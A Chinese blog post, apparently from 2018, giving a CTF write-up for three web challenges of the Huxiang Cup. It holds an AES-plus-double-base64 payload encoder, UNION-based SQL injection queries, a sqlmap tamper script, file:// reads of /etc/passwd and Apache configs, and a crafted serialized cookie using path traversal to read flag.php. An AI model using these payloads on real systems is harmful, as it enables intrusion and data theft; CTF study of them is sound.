湖湘杯WEB题解

作者: print("") 分类: 未分类 发布时间: 2018-11-18 21:38

刚刚起来就看到群里说湘湖杯的事情,然后就做了几道题目。撸完几道题目之后,然后就为了生活而去努力了

Code Check

一通乱搞,发现一个news 可以访问的。里面有个压缩包 打开是源代码

大概解密逻辑如下:

mcrypt_module_open 打开对于的算法模块  

然后初始化缓冲区  开始解密: 首先进行两次base64的方式  然后再用了AES  128 CBC模式 

最后进行判断

if(substr(trim($data),-7)!==’hxb2018′)

这里就是 判断字符串 最后7位数字 是否是hxb2018 

最后是一个传值的方式通过GET 传入一个ID

那么加密的 首先是最后7位数字匹配上 然后用AES 128 加密 最 base64  

就是 id—>hxb2018—>AES –>base64 –>base64   

加密脚本如下Python:

from Crypto.Cipher import AES
import base64

def encrypt(text):
    padding = '\0'
    key = 'ydhaqPQnexoaDuW3'
    iv = '2018201920202021'
    pad_it = lambda s: s+(16 - len(s)%16)*padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    text = text + 'hxb2018'
    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

if __name__ == '__main__':
        print encrypt('1')

拿到flag 的方式就是 

-1 union select 1,2,3,4

第二位显示

数据库

那么查看一下第一张表

(‘-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3,4’)

(‘-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1),3,4’)

(‘-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 2,1),3,4’)

发现只有三张表,那么就查呗

数据库为mozhe_discuz_stormgroup

第一张表为

notice

notice2

stormgroup_member

flag 在第三表中

方法二、 salmap 大法

tamper 脚本如下:

#!/usr/bin/env python
from Crypto.Cipher import AES
import base64

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST

def dependencies():
    pass
def encrypt(text):
    padding = '\0'
    key = 'ydhaqPQnexoaDuW3'
    iv = '2018201920202021'
    pad_it = lambda s: s+(16 - len(s)%16)*padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    text = text + 'hxb2018'
    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):
    payload=str(payload)
    retVal = encrypt(payload)
    return retVal


这个是一个原题具体的如下:https://uknowsec.cn/posts/notes/SQLMap-tamper%E7%BC%96%E5%86%99%E5%B0%9D%E8%AF%95.html


Readflag


然后查看一下/etc/passwd

发现有www-data 的目录 在/var/www下面。

看了一下www目录发现没啥信息, 就自己用乌班图看安装了一下apache 配置文件

file:///etc/apache2/apache2.conf

然后看了一下网站的配置文件

发现了/var/www/html/ssrf/web.php

发现源代码 readflag 

读取一下readflag

啥玩意也没,读取一下flag看看

flag 到手

===

WEB  MyNote

这个是一个安恒月赛的原题:https://blog.csdn.net/u011377996/article/details/80787236

查看了一下 robots.txt

User-agent: *
Allow: /controllers/Basecontrol.php
Allow: /controllers/Controllers.php
Allow: /controllers/User.php
Allow: /flag.php
访问flag.php  这是一个假的flag 
flag{This_flag_iS_A_F4ke_flag} 
获取真的如下:

上传成功之后呢。随便点一写页面。然后抓包得到如下:

GET /index.php/picture HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://120.77.144.93/index.php/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Picture=YToxOntpOjA7czo3OiIyMjIuanBnIjt9; PHPSESSID=8h6s1nfrm4at0hjvmqbtkcrjnj
Connection: close

Picture 解密一下

发现是一个序列化的操作

a:1:{i:0;s:7:”../flag.php”;}

改成这个看看

找到了处理的具体的路径 

写一个php处理一下反序列

<?php

 $a[] = '../../controllers/Basecontrol.php';
 $b[] = '../../flag.php';
 $c[] = '../../controllers/User.php';
 $d[] = '../../controllers/Controllers.php.php';

echo urlencode(base64_encode(serialize($b)))
?>

YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30%3D

拿到源代码


 

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

一条评论
  • 1123

    2020年1月15日 下午5:29

    tql

发表评论

您的电子邮箱地址不会被公开。